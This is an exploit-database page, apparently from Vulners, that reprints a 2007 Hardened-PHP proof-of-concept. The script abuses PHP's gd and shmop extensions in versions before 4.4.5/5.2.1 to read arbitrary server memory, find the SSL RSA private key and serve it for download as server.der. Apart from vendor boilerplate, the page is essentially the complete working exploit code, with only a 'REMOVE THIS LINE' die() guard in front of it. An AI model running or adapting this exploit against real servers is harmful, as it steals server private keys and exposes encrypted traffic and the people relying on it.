Lucene search
K

PHP < 4.4.5 / 5.2.1 (shmop) SSL RSA Private-Key Disclosure Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

PHP < 4.4.5 / 5.2.1 (shmop) SSL RSA Private-Key Disclosure Exploit. Demonstrates a potential PHP vulnerability

Code

                                                &#60;?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || &#39;_|/ _` |/ -_)| &#39; \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP ext/shmop SSL RSA Private-Key Disclosure Exploit        //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die(&#34;REMOVE THIS LINE&#34;);

  if (!extension_loaded(&#34;gd&#34;) || !extension_loaded(&#34;shmop&#34;)) {
    die(&#34;This demonstration exploit only works with ext/gd and ext/shmop loaded.&#34;);
  }

  function init()
  {
    global $rid;
    
    $rid = imagecreate(10,10);
    imagecolorallocate($rid, 0, 0, 0);
    imagecolorallocate($rid, 0, 0, 0);
  }
  
  function peek($addr, $size)
  {
    global $rid;
    imagecolordeallocate($rid, 0);
    imagecolordeallocate($rid, 1);
    imagecolorallocate($rid, $addr, 0, 0);
    imagecolorallocate($rid, $size, 0, 0);
    return shmop_read((int)$rid, 0, $size);
  }

  init();
  
  $offset = 0x08048000 + 1024 * 64;
  
  while (1) {
  
    $data = peek($offset, 1024 + 16);
    
    $position = strpos($data, &#34;\x30\x82&#34;);
    if ($position !== false && $position &#60; 1024) {
      // Potential Key
      if (substr($data, $position+4, 4) == &#34;\x02\x01\x00\x02&#34;) {
        $length = ord($data[$position+2])*256+ord($data[$position+3])+4;
        $keydata = peek($offset + $position, $length);
        // Assume an exponent of 0x10001 to really find a RSA key and not a DSA one
        if (strpos($keydata, &#34;\x01\x00\x01&#34;) &#62; 0)
            break;
      }
    }
    $offset += 1024;
  }

  header(&#34;Content-type: application/octet-stream&#34;);
  header(&#34;Content-Disposition: attachment; filename=\&#34;server.der\&#34;&#34;);  
  echo $keydata;
?&#62;

# milw0rm.com [2007-03-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation